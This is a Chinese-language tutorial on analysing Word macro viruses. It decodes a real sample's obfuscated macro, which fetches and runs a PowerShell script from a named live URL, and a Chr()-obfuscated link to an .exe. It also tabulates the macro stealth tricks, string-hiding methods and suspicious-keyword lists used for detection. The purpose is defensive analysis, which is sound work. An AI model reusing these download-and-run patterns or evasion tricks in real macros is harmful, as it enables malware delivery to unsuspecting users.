宏病毒研究——實戰研究篇


本文作者:i春秋作家——icq5f7a075d

宏病毒專輯:https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=133

3. 宏病毒實例分析

3.1 實例1

接下來,我將以demo2.doc為例,實例分析宏病毒,demo2是一個真實的宏病毒,請在虛擬機中分析。

打開demo2.doc,發現彈出了“安全警告”,文本中內容提示用戶要點擊“啟用內容”才能看到文件內容,實際上這里是社會工程學攻擊,用戶單擊“啟用內容”就會運行宏,並感染病毒:

圖片.png

ALT+F11打開VBA編輯器,查看宏代碼。但是你會發現,此時工程里沒有數據,這是因為我們沒有單擊“啟用內容”,VBA工程還沒有加載。

單擊“啟用內容”,這個時候宏就已經運行了,再次查看VBA編輯器,彈出了要求輸入密碼的對話框。除了輸入密碼,我們不能看到其他信息,看來這段宏被加密了,接下來我們就要祭出神器VBA_Password_Bypasser進行解密了。

圖片.png

關閉demo2.doc        ,使用VBA_Password_Bypasser重新打開demo2.doc,再次打開VBA編輯器查看宏代碼,宏代碼一覽無余:

圖片.png

這段宏首先拼接了一段字符串CGJKIYRSDGHJHGFFG,這段字符串是一段命令,接下來就調用Shell() ,執行這段命令。

但是CGJKIYRSDGHJHGFFG的內容經過混淆,我們沒辦法一眼看出執行了什么命令,我們可以改造宏代碼,使用Msgbox將CGJKIYRSDGHJHGFFG這段命令打印出來:

圖片.png

現在就一目了然了,這段cmd命令執行了兩段powershell命令,第一段powershell命令是從’http://skycpa.in/file.php‘中下載文件,並另存為’%TEMP%\Y.ps1′,第二段powershell命令就是執行Y.ps1,關於Y.ps1的分析不屬於宏病毒的范疇,這里就不做分析了。

3.2 oledump.py

在之前的分析中,我們先啟用宏,然后打開VBA編輯器分析宏代碼。這個時候我們不僅可以直觀的看到宏代碼,還可以動態調試。但是,我們選擇啟用宏后,宏代碼就會運行,如果存在惡意行為,惡意行為就會執行。這樣的分析方式存在一定的風險,那么,有沒有一種方式,不運行宏就能查看宏代碼呢?當然有,那就是oledump.py(https://github.com/decalage2/oledump-contrib)。

oledump.py是一個用於分析OLE文件(復合文件二進制格式)的程序,我們可以使用它提取文檔中的宏代碼。其查找基於二進制文件格式的文件中的內容的流程:

  1.讀取文件流。

  2.識別可能包含要查找的內容的結構。

  3.通過第一個結構,找到下一節的位置。

  4.在流中轉到該節。

  5.重復前面兩個步驟,直到找到所需的內容。

  6.讀取並分析內容。

接下來我們簡單介紹一下oledump的使用,我們依然以demo2為例進行介紹:

運行:

python oledump.py  demo2.doc

圖片.png

這是oledump對doc文件的最基礎的分析,顯示了這個文件的Stream數據(在接下來的章節中我們會進行介紹Stream),一共包含5段,其中A3這一段數據上標記了字母‘M’,表示這段數據中含有VBA宏(Macro)。

oledump.py有許多參數可以選擇,使用oledump.py -m 可以查看oledump.py 的幫助信息,這里我們要用到的參數是-s和-v

-s 段號:選擇上分析出的某一段來查看內容

-v     :解壓縮VBA宏

上面兩個參數結合起來用就可以找出宏源碼:

python oledump.py -s A3 -v demo2.doc

圖片.png

可以看到宏代碼被解析出來了。

在實際分析時,-s后的參數可以選擇‘a’,表示分析所有段的數據,還可以使用‘>’符號將宏代碼數據存儲在新文件中:

圖片.png

最后,再介紹一下 decoder_ay.py和-d參數,它可以將文件中的exe數據dump下來。有一些文檔宏存儲了exe數據,這個時候我們就可以使用下列命令,將文檔中的exe數據導出:

python oledump.py -s 14  -D decoder_ay.py -d 1.doc  >1.exe

如果我們只是想dump某一段數據,而不關心是不是exe數據,使用如下命令:

Oledump.py -s 段名 -d 文件名 >新文件名

4. 宏病毒的分析技巧

4.1. 自動執行

宏病毒分析的第一步是定位自動執行入口。

宏病毒具有自動執行的特性,特別是含有AutoOpen的宏,一旦用戶打開含有宏的文檔,其中的宏就會被執行,而用戶一無所知。

宏病毒的激發機制有三種:利用自動運行的宏,修改Word命令和利用Document對象的事件。

宏病毒中常用的自動執行方法有兩種:一種是用戶執行某種操作時自動執行的宏,如Sub botton(),當用戶單擊文檔中的按鈕控件時,宏自動執行;另一種則是Auto自動執行,如Sub AutoOpen()和Sub AutoClose(),分別在文檔打開和關閉時自動執行。

4.2. 隱秘執行

宏病毒利用幾行代碼就可以實現隱秘,下列代碼是從宏病毒樣本1(MD5:f849544803995b98342415dd2e67180c)中提取的代碼片段,宏病毒通過阻止彈出各類提示,防止用戶發現宏正在運行來實現自我隱藏:

On Error Resume Next             ‘如果發生錯誤,不彈出錯誤對話框

Application.DisplayStatusBar = False  ’進制顯示狀態欄

Options.SaveNormalPrompt = False    ‘修改公用模板時自動保存,不彈出提示

宏病毒自我隱藏還有一種方式,那就是屏蔽菜單按鈕和快捷鍵,普通用戶即使猜測到有宏正在運行,也無法取消正在執行中的宏,查看宏信息。

下表是筆者總結的宏病毒采取的隱蔽執行的一些措施:

代碼 措施
On Error Resume Next 如果發生錯誤,不彈出錯誤對話框
Application.DisplayStatusBar = False 不顯示狀態欄,避免顯示宏的運行狀態
Options.SaveNormalPrompt = False 修改公用模板時在后台自動保存,不給任何提示
EnableCancelKey = wdCancelDisabled 使不可以通過ESC鍵取消正在執行的宏
Application.ScreenUpdating = 0 不讓屏幕更新,讓病毒執行時不影響計算機速度
Application.DisplayAlerts = wdAlertsNone 不讓Excel彈出報警信息
CommandBars(“Tools”).Controls(“Macro”).Enabled = 0 屏蔽工具菜單中的“宏”按鈕
CommandBars(“Macro”).Controls(“Security”).Enabled = 0 屏蔽宏菜單的“安全性”
CommandBars(“Macro”).Controls(“Macros”).Enabled = 0 屏蔽宏菜單的“宏”
CommandBars(“Tools”).Controls(“Customize”).Enabled = 0 屏蔽工具菜單的“自定義”
CommandBars(“View”).Controls(“Toolbars”).Enabled = 0 屏蔽視圖宏菜單的“工具欄”
CommandBars(“format”).Controls(“Object”).Enabled = 0 屏蔽格式菜單的“對象”

4.3. 調用外部例程和命令執行

宏病毒的強大主要來自與對Windows API和外部例程的調用,通過對大量樣本的分析,本文總結出一張宏病毒調用的外部例程表。

外部例程 介紹
MSXML2.ServerXMLHTTP Xmlhttp是一種瀏覽器對象, 可用於模擬http的GET和POST請求
Net.WebClient 提供網絡服務
Adodb.Stream Stream 流對象用於表示數據流。配合XMLHTTP服務使用Stream對象可以從網站上下載各種可執行程序
Wscript.shell WScript.Shell是WshShell對象的ProgID,創建WshShell對象可以運行程序、操作注冊表、創建快捷方式、訪問系統文件夾、管理環境變量。
Poweshell PowerShell.exe 是微軟提供的一種命令行shell程序和腳本環境
Application.Run 調用該函數,可以運行.exe文件
WMI 用戶可以利用 WMI 管理計算機,在宏病毒中主要通過winmgmts:\\.\root\CIMV2隱藏啟動進程
Shell.Application 能夠執行sehll命令

如圖所示,使用Wscript.shell實現命令執行功能:

圖片.png

上表中Wscript.shell、Poweshell、Application.Run、Shell.Application這些外部例程都可以用來執行命令,除此之外,一些API如:Shell( )、CallWindowProc( )也常用於執行命令。

4.4. 字符串隱寫

宏病毒分析比較簡單,這是因為任何能執行宏的用戶都能查看宏源碼,分析人員輕而易舉就分析出宏病毒的行為。通過掃描宏中特征字符串,殺軟也很容易檢測出宏病毒。宏病毒的開發者們便想盡辦法隱藏這些特征字符串,下面本文就對宏病毒中這些字符串的隱寫方式進行分析。

4.4.1. Chr()函數

Chr(),返回以數值表達式值為編碼的字符(例如:Chr(70)返回字符‘F’)。

使用Chr函數是最常見的字符串隱寫技術,利用ascii碼,逃避字符串掃描。

如下列代碼:

Nrh1INh1S5hGed = “h” & Chr(116) & Chr(61) & “t” & Chr(112) &Chr(58) & Chr(47) & Chr(59) & Chr(47) & Chr(99) & Chr(104) & Chr(97) & “t” & Chr(101) & Chr(97) & Chr(117) & Chr(45) & Chr(100) & Chr(60) & Chr(101) & Chr(115) & Chr(45) & Chr(105) & Chr(108) & “e” & Chr(115) & Chr(46) & Chr(61) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(60) & Chr(52) & Chr(116) & Chr(102) & Chr(51) & Chr(51) & Chr(119) & Chr(47) & Chr(60) & Chr(119) & “4″ & Chr(116) & Chr(52) & Chr(53) & Chr(51) & Chr(46) & Chr(59) & Chr(101) & Chr(61) & Chr(120) & Chr(101)

上列代碼使用了大量的Chr函數,看似很復雜,實際上就只是一串字符串“ht=tp:/;/chateau-d<es-iles.=com/,4tf33w/<w4t453.;e=xe”。

Nrh1INh1S5hGed字符串看着很像一個鏈接,但是中間多了幾個字符,其實處理起來很簡單,只要將多余字符刪掉就好。

將這串字符串命名為Nrh1INh1S5hGed也是為了混淆,但是對於宏病毒分析人員來說,這種混淆並沒有增加分析難度,分析人員只需要 全選–查找–替換。

Chr()函數還可以利用表達式,增加技術人員的分析難度:

Ndjs = Sgn(Asc(317 – 433) + 105)     

ATTH = Chr(Ndjs) + Chr(Ndjs + 12) + Chr(Ndjs + 12) + Chr(Ndjs + 8)

經過分析發現,上述代碼的字符串是:“http://”

4.4.2. Replace()函數

Replace函數的作用就是替換字符串,返回一個新字符串,其中某個指定的子串被另一個子串替換。

承接上文,把Nrh1INh1S5hGed中多余字符去掉,這里使用Replace函數把多余字符替換為空。

Nrh1INh1S5hGed = Replace(Replace(Replace(Nrh1INh1S5hGed,

                Chr(60), “”), Chr(61), “”), Chr(59), “”)

處理之后:

Nrh1INh1S5hGed=“http://chateau-des-iles.com/4tf33w/w4t453.exe

可以很清晰看出Nrh1INh1S5hGed是一個下載名為w4t453可執行文件的鏈接。可以猜測w4t453.exe是一個惡意程序,之后一定會執行w4t453.exe。在用戶一無所知的情況下,宏已經完成了入侵工作。

2.4.3. CallByname 函數CallByname函數允許使用一個字符串在運行時指定一個屬性或方法。

CallByName 函數的用法如下:
Result = CallByName(Object, ProcedureName, CallType, Arguments())

CallByName 的第一個參數包含要對其執行動作的對象名。第二個參數,ProcedureName,是一個字符串,包含將要調用的方法或屬性過程名。CallType 參數包含一個常數,代表要調用的過程的類型:方法 (vbMethod)、property let (vbLet)、property get (vbGet),或 property set (vbSet)。最后一個參數是可選的,它包含一個變量數組,數組中包含該過程的參數。

例如:CallByName Text1, “Move”, vbMethod, 100, 100就相當於執行Text1.Move(100,10) 這種隱藏的函數執行增加了分析的難度。

CallByName的作用不僅僅在此,在下面的這個例子中,利用callByName,可以用腳本控制控件:

Dim obj As Object[/align]        Set obj = Me
       Set obj = CallByName(obj, "Text1", VbGet)
       Set obj = CallByName(obj, "Font", VbGet)
       CallByName obj, "Size", VbLet, 50
     '以上代碼="Me.Text1.Font.Size = 50"
      Dim obj As Object
       Dim V As String
       Set obj = Me
       Set obj = CallByName(obj, "Text1", VbGet)
       Set obj = CallByName(obj, "Font", VbGet)
       V = CallByName(obj, "Size", VbGet)
       '以上代碼="V = Me.Text1.Font.Size"

4.4.4. Alias替換函數名

Alias子句是一個可選的部分,用戶可以通過它所標識的別名對動態庫中的函數進行引用。

Public Declare Function clothed Lib “user32″ Alias “GetUpdateRect” (prestigiation As Long, knightia As Long, otoscope As Long) As Boolean

如上例所示,clothed作為GetUpdateRect的別名,調用clothed函數相當於調用user32庫里的GetUpdateRect函數。

事實上喜歡使用別名的不僅僅是宏病毒制造者,普通的宏程序員也喜歡使用別名。使用別名的好處是比較明顯的,一方面Visual Basic不允許調用以下划線為前綴的函數,然而在Win32 API函數中有大量C開發的函數可能以下划線開始。使用別名可以繞過這個限制。另外使用別名有利於用戶命名標准統一。對於一些大小寫敏感的函數名,使用別名可以改變函數的大小寫。

2.4.5. 利用窗體、控件隱藏信息

控件在宏程序里很常見,有些宏病毒的制造者們便想到利用控件隱藏危險字符串。

圖片.png

如圖所示,空間里存放着關鍵字符串,程序用到上述字符串時,只需要調用標簽控件的caption屬性。

圖片.png

控件的各個屬性(name、caption、controtiptext、等)都可以成為危險字符串的藏身之所。而僅僅查看宏代碼,分析者無法得知這些字符串內容,分析者必須進入編輯器查看窗體屬性,這大大增加了分析的難度。

2.4.6. 利用文件屬性這種方式和利用窗體屬性的方式類似,就是將一切能存儲數據的地方利用起來。

如圖所示讀取的是ActiveDocument.BuiltinDocumentProperties Comments的數據,實際上就是文件備注信息里的數據,將這里的數據Base64解密並執行。

圖片.png

圖片.png

2.5. 惡意行為字符串不同的宏病毒執行不同的惡意行為,但這些惡意行為是類似的,它們使用的代碼往往是相似的。通過大量的樣本分析,筆者總結了一些宏病毒執行危險操作時代碼中含有的字符串,詳見下表:

字符串 描述
http URL連接
CallByName 允許使用一個字符串在運行時指定一個屬性或方法,許多宏病毒使用CallByName執行危險函數
Powershell 可以執行腳本,運行.exe文件,可以執行base64的命令
Winmgmts WinMgmt.exe是Windows管理服務,可以創建windows管理腳本
Wscript 可以執行腳本命令
Shell 可以執行腳本命令
Environment 宏病毒用於獲取系統環境變量
Adodb.stream 用於處理二進制數據流或文本流
Savetofile 結合Adodb.stream用於文件修改后保存
MSXML2 能夠啟動網絡服務
XMLHTTP 能夠啟動網絡服務
Application.Run 可以運行.exe文件
Download 文件下載
Write 文件寫入
Get http中get請求
Post http中post請求
Response http中認識response回復
Net 網絡服務
WebClient 網絡服務
Temp 常被宏病毒用於獲取臨時文件夾
Process 啟動進程
Cmd 執行控制台命令
createObject 宏病毒常用於創建進行危險行為的對象
Comspec %ComSpec%一般指向你cmd.exe的路徑

5. 宏病毒的防御手段

安裝殺毒軟件,打全系統補丁是預防計算機病毒的基本措施,當然也適用於宏病毒,除此這些常規手段之外,宏病毒還有專門的防治措施。

5.1. 禁用宏

由於宏病毒的肆虐,Microsoft不得不在Office辦公軟件中提供了禁止宏的功能,用戶只需要將其打開激活即可再次運行宏。以word2013為例,禁用宏的方法是:單擊開發工具菜單下的“宏”,單擊“宏安全性”,在隨后的出現的對話框中選擇“禁用所有宏,並發出通知”,如圖所示:

 

圖片.png

這個方法一度被認為能防住所有的宏病毒,但是總會有0day能夠繞過宏防護,禁用宏對於利用漏洞繞過宏禁用功能的宏病毒,仍然無能為力。

而且禁用宏功能還有兩個很大的缺陷:一是它拒絕了一切的宏執行,並不區分正常的宏和還是病毒宏,這會造成某些文檔無法打開或出錯;二是宏病毒防護無法阻止啟動word時Autoexec.DOT中的宏和Normal.DOT中的宏自動執行。

5.2越過自動宏

如果懷疑文檔中存在宏病毒,可以在Office打開文檔的時候,始終按住SHift鍵,將禁止存在的一起自動宏。這和禁用宏有異曲同工之妙,Shift鍵可以在退出時禁止任何AutoClose宏。這種方法的缺陷也很明顯,它只能對付一時,當宏病毒利用其它菜單選項來實現破壞活動,這種方法就不再有效。

5.3恢復被宏病毒破壞的文檔

對於普通用戶來說,清理宏病毒顯得麻煩,因為文檔被宏病毒感染后(實際上是文檔使用的模板文檔被感染),使用文檔時常常會出現一些異常情況,即使用殺毒軟件將所有帶毒的文檔文件都處理一遍,但是,當重新打開它們時病毒又出現了。有些用戶采用的是將Office卸載重裝,但是有時候問題還是沒有被解決。

其實,對於宏病毒的清理並不難,下面以刪除Word宏病毒為例分步驟詳細說明:

① 退出Word程序,先查看系統盤根目錄下是否存在Autoexec.DOT文件,如果存在,而又不知道它是什么時候出現,則將其刪除。

② 然后找到Normal.DOT文件,一般位於C:\Documents and Settings\ Administrator\Application Data\Microsoft\Templates目錄下,用先前干凈的備份將其替換,也可以直接刪除,Word不會因為找不到Normal.DOT而拒絕啟動,它會自動重新生成一個干凈的沒有任何外來宏的Noraml.DOT。

③ 查看Noraml.DOT所在的目錄中是否存在其他模板文件,如果存在且不是自己復制進去的,將其刪除。

④ 重新啟動Word程序,查看Word是否恢復正常了。

⑤ 最后檢查宏病毒防護是否被啟用了,某些病毒會自動禁用宏病毒防護功能,如果不啟用禁用宏功能,Word會很快再次被病毒感染。

 

>>>>>>  黑客入門必備技能  帶你入坑和逗比表哥們一起聊聊黑客的事兒,他們說高精尖的技術比農葯都好玩~

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM